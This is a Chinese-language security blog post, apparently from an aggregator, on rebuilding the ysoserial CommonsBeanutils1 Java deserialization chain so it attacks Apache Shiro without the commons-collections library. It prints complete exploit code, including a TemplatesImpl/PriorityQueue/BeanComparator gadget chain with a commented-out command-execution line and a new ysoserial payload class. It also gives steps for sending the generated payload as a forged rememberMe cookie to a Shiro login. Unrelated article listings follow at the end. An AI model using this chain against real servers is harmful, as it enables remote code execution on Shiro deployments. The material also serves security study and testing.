ysoserial-CommonsBeanutils1的shiro无依赖链改造

一、CB1利用链分析

此条利用链需要配合Commons-Beanutils组件来进行利用,在shiro中是自带此组件的。

先上大佬写的简化版利用链,和ysoserial中的代码有点不同,但原理是一样的

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.PriorityQueue;
  9. public class CommonsBeanutils {
  10. // 修改值的方法,简化代码
  11. public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  12. Field field = object.getClass().getDeclaredField(fieldName);
  13. field.setAccessible(true);
  14. field.set(object, value);
  15. }
  16. public static void main(String[] args) throws Exception {
  17. // 创建恶意类,用于报错抛出调用链
  18. ClassPool pool = ClassPool.getDefault();
  19. CtClass payload = pool.makeClass("EvilClass");
  20. payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  21. payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  22. // payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  23. byte[] evilClass = payload.toBytecode();
  24. // set field
  25. TemplatesImpl templates = new TemplatesImpl();
  26. setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  27. setFieldValue(templates, "_name", "test");
  28. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  29. // 创建序列化对象
  30. BeanComparator beanComparator = new BeanComparator();
  31. PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  32. queue.add(1);
  33. queue.add(1);
  34. // 修改值
  35. setFieldValue(beanComparator, "property", "outputProperties");
  36. setFieldValue(queue, "queue", new Object[]{templates, templates});
  37. // 反序列化
  38. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
  39. out.writeObject(queue);
  40. ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
  41. in.readObject();
  42. }
  43. }

在分析每一条利用链的方法时候,我都会从以下几个点来进行分析:

1、首先要找到反序列化入口(source)

2、调用链(gadget)

3、触发漏洞的目标方法(sink)

而此条利用链,这三点分别为:

1)入口:

PriorityQueue#readObject

2)调用链:

PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties

3)触发漏洞的目标方法:

TemplatesImpl#getOutputProperties

PriorityQueue

PriorityQueue#readObject作为CC2的入口点,在CB1链中同样是以此为入口,其readObject中有个heapify方法

跟进heapify,在713行会去调用siftDown方法,前提是满足for循环中的size值大于等于2

siftDown方法中,通过一个if判断后,会调用到两个方法,而在siftDownUsingComparator中才是执行调用链的操作

跟进siftDownUsingComparator方法,可以看到在699行调用了comparator#compare,整个PriorityQueue类的漏洞调用链就是到这里了

BeanComparator

BeanComparator是一个bean比较器,用来比较两个JavaBean是否相等,其实现了java.util.Comparator接口,有一个Comparator方法

可以看到,在Comparator方法中先判断property值是否为空,之后调用了PropertyUtils.getProperty方法。而PropertyUtils.getProperty这个方法会去调用传入的javaBean中this.property值的getter方法,这个点是调用链的关键!

TemplatesImpl

漏洞的触发点就是利用了TemplatesImpl#getOutputProperties()方法的加载字节码,来调用到恶意类的构造方法、静态方法。整个调用链就不分析了,这里写下调用链:

  1. TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

二、Shiro无依赖利用链改造

在ysoserial中的CB1链,其实是依赖commons.collections包的,也就是CC链中的包,因为其BeanComparator类的构造方法中,会调用到ComparableComparator.getInstance()ComparableComparator类就是在commons.collections包中。

shiro中自带了Commons-Beanutils组件,并没有自带commons.collections包。所以我们尝试修改CB1链来使其脱离commons.collections包的限制。

需要满足三个条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

在这里师傅们找到了两个类

  1. CaseInsensitiveComparatorjava.util.Collections$ReverseComparator

CaseInsensitiveComparator类为例,CaseInsensitiveComparator对象是通过String.CASE_INSENSITIVE_ORDER拿到的

只需要把String.CASE_INSENSITIVE_ORDER放入BeanComparator类的构造函数中即可使if为真,从而不调用到CC组件中的类

  1. BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

这里使用P神已经写好的POC来进行测试,项目地址在https://github.com/phith0n/JavaThings

打开shiroattack项目

运行以上的Client1后,会生成cookie中对应的rememberMe值

shiro环境同样使用P神的环境https://github.com/phith0n/JavaThings,注释掉环境shiro环境中的commons-collections组件

访问/login.jsp界面勾选rememberMe登录,使用burp抓包,在cookie里面添加rememberMe=payload;

另一个类java.util.Collections$ReverseComparator,也是通过其静态方法拿到

同样只需要把Collections.reverseOrder()放入BeanComparator类的构造函数中即可

  1. BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

三、ysoserial改造

把以下代码加入ysoserial的payloads模块即可

  1. package ysoserial.payloads;
  2. import org.apache.commons.beanutils.BeanComparator;
  3. import ysoserial.payloads.util.Gadgets;
  4. import ysoserial.payloads.util.PayloadRunner;
  5. import ysoserial.payloads.util.Reflections;
  6. import java.util.Collections;
  7. import java.util.PriorityQueue;
  8. public class CommonsBeanutils2 implements ObjectPayload<Object>{
  9. public Object getObject(final String command) throws Exception {
  10. final Object templates = Gadgets.createTemplatesImpl(command);
  11. // mock method name until armed
  12. final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
  13. // create queue with numbers and basic comparator
  14. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  15. // stub data for replacement later
  16. queue.add(1);
  17. queue.add(1);
  18. // switch method called by comparator
  19. Reflections.setFieldValue(comparator, "property", "outputProperties");
  20. // switch contents of queue
  21. final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
  22. queueArray[0] = templates;
  23. queueArray[1] = templates;
  24. return queue;
  25. }
  26. public static void main(final String[] args) throws Exception {
  27. PayloadRunner.run(CommonsBeanutils2.class, args);
  28. }
  29. }

打包jar

  1. mvn clean package -DskipTests

参考:

https://cloud.tencent.com/developer/article/1816604

https://www.cnblogs.com/bitterz/p/15401105.html

ysoserial-CommonsBeanutils1的shiro无依赖链改造的更多相关文章

  1. 从commons-beanutils反序列化到shiro无依赖的漏洞利用

    目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...

  2. 单点登录CAS使用记(八):使用maven的overlay实现无侵入的改造CAS

    前期在学习CAS部署的过程中,都是网上各种教程,各种方案不停的尝试. 期间各种侵入改源码,时间久了,改了哪个文件,改了哪段配置,增加了哪段代码,都有可能混淆不清了. 而且最大的问题是,万一换个人来维护 ...

  3. WebFetch 是无依赖极简网页爬取组件

    WebFetch 是无依赖极简网页爬取组件,能在移动设备上运行的微型爬虫. WebFetch 要达到的目标: 没有第三方依赖jar包 减少内存使用 提高CPU利用率 加快网络爬取速度 简洁明了的api ...

  4. 上传图片,多图上传,预览功能,js原生无依赖

    最近很好奇前端的文件上传功能,因为公司要求做一个支持图片预览的图片上传插件,所以自己搜了很多相关的插件,虽然功能很多,但有些地方不能根据公司的想法去修改,而且需要依赖jQuery或Bootstrap库 ...

  5. 无依赖简单易用的Dynamics 365公共视图克隆工具

    本人微信公众号:微软动态CRM专家罗勇 ,回复279或者20180818可方便获取本文,同时可以在第一间得到我发布的最新博文信息,follow me!我的网站是 www.luoyong.me . Dy ...

  6. 工作中经常用到github上优秀、实用、轻量级、无依赖的插件和库

    原文收录在我的 GitHub博客 (https://github.com/jawil/blog) ,喜欢的可以关注最新动态,大家一起多交流学习,共同进步,以学习者的身份写博客,记录点滴. 按照格式推荐 ...

  7. 工作中经常用到 github 上优秀、实用、轻量级、无依赖的插件和库

    原文收录在 GitHub博客 ( https://github.com/jawil/blog ) ,喜欢的可以关注最新动态,大家一起多交流学习,共同进步,以学习者的身份写博客,记录点滴. 由于gith ...

  8. 输入输出无依赖型函数的GroovySpock单测模板的自动生成工具(上)

    目标 在<使用Groovy+Spock轻松写出更简洁的单测> 一文中,讲解了如何使用 Groovy + Spock 写出简洁易懂的单测. 对于相对简单的无外部服务依赖型函数,通常可以使用 ...

  9. tomcat结合shiro无文件webshell的技术研究以及检测方法

    0x01简介 shiro结合tomcat回显,使用公开的方法,回显大多都会报错.因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192.如果超过这个大小,则to ...

随机推荐

  1. Windows内核基础知识-5-调用门(32-Bit Call Gate)

    Windows内核基础知识-5-调用门(32-Bit Call Gate) 调用门有一个关键的作用,就是用来提权.调用门其实就是一个段. 调用门: 这是段描述符的结构体,里面的s字段用来标记是代码段还 ...

  2. axios & fetch 异步请求

    // 一.创建实例 const request = axios.create({ baseURL: "http://kg.zhaodashen.cn/v2", headers: { ...

  3. 使用ssh连接到centos7中docker容器

    任务: 使用ssh连接到centos7中docker容器 实验步骤: 实验环境搭建,详情请看上一篇. 因为docker中容器的ip通常来说是和真机以及centos7的ip不属于一个网段,因此直接访问是 ...

  4. Qt5 C++ GUI界面 开发环境配置 详细教程

    本博客已暂停更新,需要请转新博客http://www.whbwiki.com/333.html Qt 下载 Qt 体积很大,有 1GB~3GB,官方下载通道非常慢,相信很多读者会崩溃,所以建议大家使用 ...

  5. 【python】使用python十分钟创建个人聊天机器人教程

    以青云客和图灵机器人接口示范python创建个人聊天机器人教程 一.以青云客聊天机器人为例示范get请求 官方网址:http://api.qingyunke.com/ 1.接入指引 请求地址 http ...

  6. 查看Git提交的代码统计

    1,提交Top5: git log --pretty='%aN' | sort | uniq -c | sort -k1 -n -r | head -n 5 2,某用户提交的代码统计 git log ...

  7. Windows内核中的CPU架构-7-陷阱门(32-Bit Trap Gate)

    Windows内核中的CPU架构-7-陷阱门(32-Bit Trap Gate) 陷阱门和中断门几乎是一模一样的: (注:图里高32位中的第11位的值为D,其实是1) 除了高32位中的type字段的内 ...

  8. linux删除文件未释放

    https://access.redhat.com/solutions/2316 $ /usr/sbin/lsof | grep deleted ora 25575 data 33u REG 65,6 ...

  9. Django笔记&教程 5-3 综合使用示例

    Django 自学笔记兼学习教程第5章第3节--综合使用示例 点击查看教程总目录 1 - 生成学号场景 场景描述: 教务管理系统中,学生注册账号,学生选择年级后,生成唯一学号. 细节分析: 学生学号由 ...

  10. 菜鸡的Java笔记 第十三 String 类的两种实例化方法

    String 类的两种实例化方法 String 类的两种实例化方式的区别 String 类对象的比较 Stirng 类对象的使用分析 /*    1.String 类的两种实例化方式的区别       ...